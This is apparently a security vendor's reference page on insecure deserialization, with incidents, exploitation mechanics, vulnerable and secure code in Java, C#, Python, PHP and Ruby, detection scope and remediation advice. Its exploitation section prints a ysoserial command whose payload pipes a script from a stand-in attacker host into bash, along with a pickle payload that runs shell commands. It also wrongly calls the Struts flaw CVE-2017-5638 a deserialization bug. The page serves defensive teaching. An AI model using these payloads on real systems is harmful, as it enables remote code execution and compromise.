Insecure Deserialization
Insecure Deserialization occurs when an application deserializes untrusted data without validation, potentially allowing attackers to execute arbitrary code, tamper with application logic, or perform denial-of-service attacks.
What is Insecure Deserialization?
Insecure Deserialization (CWE-502) occurs when an application converts serialized data (byte streams, JSON, XML, or binary formats) back into objects without verifying the integrity or type safety of the data. Serialization is used extensively for data transfer, caching, session management, and inter-process communication. When an attacker can control the serialized data, they can manipulate the deserialization process to:
- Execute arbitrary code — By crafting serialized objects that trigger dangerous method calls during reconstruction (gadget chains)
- Tamper with application logic — Modify serialized objects to escalate privileges, change prices, or alter workflow state
- Cause denial of service — Submit deeply nested or recursive structures that consume memory and CPU
- Bypass authentication — Modify serialized session tokens or authentication objects
Insecure deserialization is particularly dangerous in languages with rich type systems (Java, C#, Python, Ruby, PHP) where deserialization can trigger constructors, finalizers, and property setters automatically.
Why it matters
Deserialization vulnerabilities have been behind some of the most impactful security incidents:
- Remote Code Execution — The Apache Commons Collections deserialization vulnerability (CVE-2015-7501) affected virtually every major Java application server, including WebLogic, JBoss, Jenkins, and WebSphere
- Equifax breach (2017) — The breach that exposed 147 million records was enabled by a deserialization vulnerability in Apache Struts (CVE-2017-5638)
- Ubiquitous attack surface — Any application that deserializes cookies, JWT payloads, API payloads, message queue messages, cached objects, or ViewState is potentially vulnerable
- Difficult to patch — Fixing deserialization issues often requires architectural changes, not just input validation
- Tooling availability — Tools like ysoserial (Java), ysoserial.net (C#), and PHPGGC provide ready-made exploit payloads
How exploitation works
Java deserialization
Java’s ObjectInputStream.readObject() will instantiate any Serializable class available on the classpath. Attackers construct “gadget chains” — sequences of serializable classes whose methods are invoked during deserialization and ultimately execute arbitrary code.
// Attacker sends a crafted byte stream to this endpoint
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // Triggers gadget chain → RCE
Using ysoserial, an attacker generates a payload:
java -jar ysoserial.jar CommonsCollections6 "curl attacker.com/shell.sh | bash" > payload.bin
curl -X POST --data-binary @payload.bin https://target.com/api/import
Python pickle
Python’s pickle module can execute arbitrary code during deserialization by defining __reduce__:
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
payload = pickle.dumps(Exploit())
# This payload, when unpickled by the server, executes the command
PHP object injection
PHP’s unserialize() triggers magic methods (__wakeup, __destruct, __toString) on the instantiated objects:
// Attacker controls the serialized string
$data = unserialize($_COOKIE['session']);
// If a class with a dangerous __destruct or __wakeup exists, RCE is possible
Vulnerable code examples
Java
// VULNERABLE: Deserializing untrusted input
@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody byte[] data) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
Object imported = ois.readObject(); // Arbitrary class instantiation
return ResponseEntity.ok(imported);
}
// VULNERABLE: Deserializing from a message queue
public void onMessage(Message message) throws JMSException {
ObjectMessage objMsg = (ObjectMessage) message;
Order order = (Order) objMsg.getObject(); // Untrusted source
processOrder(order);
}
C# / ASP.NET
// VULNERABLE: BinaryFormatter with untrusted data
public object Deserialize(Stream stream)
{
BinaryFormatter formatter = new BinaryFormatter();
return formatter.Deserialize(stream); // Arbitrary type instantiation
}
// VULNERABLE: Newtonsoft.Json with TypeNameHandling
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.All // Allows attacker-controlled types
};
var obj = JsonConvert.DeserializeObject<object>(userInput, settings);
Python
# VULNERABLE: pickle.loads on untrusted data
import pickle
def load_session(request):
session_data = base64.b64decode(request.cookies.get('session'))
return pickle.loads(session_data) # Arbitrary code execution
PHP
// VULNERABLE: unserialize with user input
$user_prefs = unserialize($_COOKIE['preferences']);
Ruby
# VULNERABLE: Marshal.load on untrusted data
data = Base64.decode64(params[:data])
obj = Marshal.load(data) # Arbitrary object instantiation
Secure code examples
Java — Use JSON with strict typing
// SECURE: Use JSON deserialization with explicit type binding
@PostMapping("/import")
public ResponseEntity<?> importData(@RequestBody String json) {
ObjectMapper mapper = new ObjectMapper();
// Only allow specific known types
mapper.activateDefaultTyping(
BasicPolymorphicTypeValidator.builder()
.allowIfSubType(ImportData.class)
.build(),
ObjectMapper.DefaultTyping.NON_FINAL
);
ImportData data = mapper.readValue(json, ImportData.class);
return ResponseEntity.ok(data);
}
// SECURE: If ObjectInputStream is required, use a whitelist filter
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data)) {
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized class: " + desc.getName());
}
return super.resolveClass(desc);
}
};
C# — Avoid BinaryFormatter, use System.Text.Json
// SECURE: Use System.Text.Json with strict type handling (no polymorphic type resolution)
public T Deserialize<T>(string json)
{
return System.Text.Json.JsonSerializer.Deserialize<T>(json);
}
// If Newtonsoft.Json is required, never use TypeNameHandling
JsonSerializerSettings settings = new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.None // Default and safest
};
var obj = JsonConvert.DeserializeObject<MyDto>(userInput, settings);
Python — Use JSON instead of pickle
# SECURE: Use JSON for untrusted data
import json
def load_session(request):
session_data = request.cookies.get('session')
return json.loads(session_data) # Only creates dicts, lists, strings, numbers
# If pickle is absolutely necessary, use hmac signing
import hmac, hashlib, pickle
SECRET_KEY = os.environ['SECRET_KEY']
def load_signed_data(raw):
signature, data = raw[:64], raw[64:]
expected_sig = hmac.new(SECRET_KEY.encode(), data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(signature, expected_sig):
raise ValueError("Tampered data")
return pickle.loads(data) # Only after integrity verification
PHP — Use json_decode instead
// SECURE: Use JSON instead of PHP serialization
$user_prefs = json_decode($_COOKIE['preferences'], true);
// If unserialize is required, restrict allowed classes (PHP 7+)
$data = unserialize($input, ['allowed_classes' => [UserPreferences::class]]);
What Offensive360 detects
Our SAST engine identifies deserialization vulnerabilities through pattern recognition and data-flow analysis. We detect:
- Dangerous deserializers —
ObjectInputStream.readObject(),BinaryFormatter.Deserialize(),pickle.loads(),unserialize(),Marshal.load(),yaml.load()(without SafeLoader) receiving untrusted data - Unsafe JSON configuration — Newtonsoft.Json with
TypeNameHandling.AllorTypeNameHandling.Auto, Jackson withenableDefaultTyping(), fastjson without SafeMode - Untrusted sources — Deserialization of data from HTTP requests, cookies, message queues, file uploads, and external APIs
- ViewState without MAC — ASP.NET ViewState deserialization without Message Authentication Code validation
- YAML unsafe loading —
yaml.load()withoutLoader=SafeLoaderin Python,YAML.load()withoutsafe_loadin Ruby - XML-based deserialization —
XmlSerializerwith user-controlled type parameters,XStreamwithout security framework
Each finding identifies the specific deserialization API, the untrusted data source, and the potential impact (RCE, data tampering, or DoS).
Remediation guidance
-
Never deserialize untrusted data with native serialization — Avoid
ObjectInputStream,BinaryFormatter,pickle,Marshal, andunserialize()with untrusted input entirely. Use data-only formats like JSON or Protocol Buffers. -
If native deserialization is required, use allowlists — Restrict deserialization to specific known-safe classes. Java’s
ObjectInputFilter(JEP 290), PHP’sallowed_classes, and customresolveClassoverrides provide this capability. -
Sign serialized data — Use HMAC or digital signatures to ensure integrity. Verify the signature before deserialization.
-
Disable polymorphic type handling — In JSON libraries, disable features that allow the serialized data to specify which class to instantiate (
TypeNameHandling.Nonein Newtonsoft, avoid@typein fastjson). -
Monitor deserialization — Log and alert on deserialization failures, which may indicate exploitation attempts.
-
Keep libraries updated — Regularly update serialization libraries and remove unused libraries from the classpath (e.g., Apache Commons Collections) to reduce available gadget chains.
False-positive considerations
Offensive360 may flag deserialization that is safe in specific contexts:
- Internal-only endpoints — Deserialization of data from trusted internal services (though this still carries risk if the internal service is compromised)
- Signed/encrypted data — If the serialized data is cryptographically signed and the signature is verified before deserialization, tampering is prevented (though signing does not fully prevent gadget chain attacks in Java)
- Safe deserializers — Some deserializers (e.g.,
json.loads()in Python,System.Text.Jsonin C#) only produce primitive types and are inherently safe - Test fixtures — Deserialization in test code that only processes local test data
References
Related vulnerabilities
Detect Insecure Deserialization in your code
Run Offensive360 SAST against your codebase to find this and hundreds of other vulnerabilities.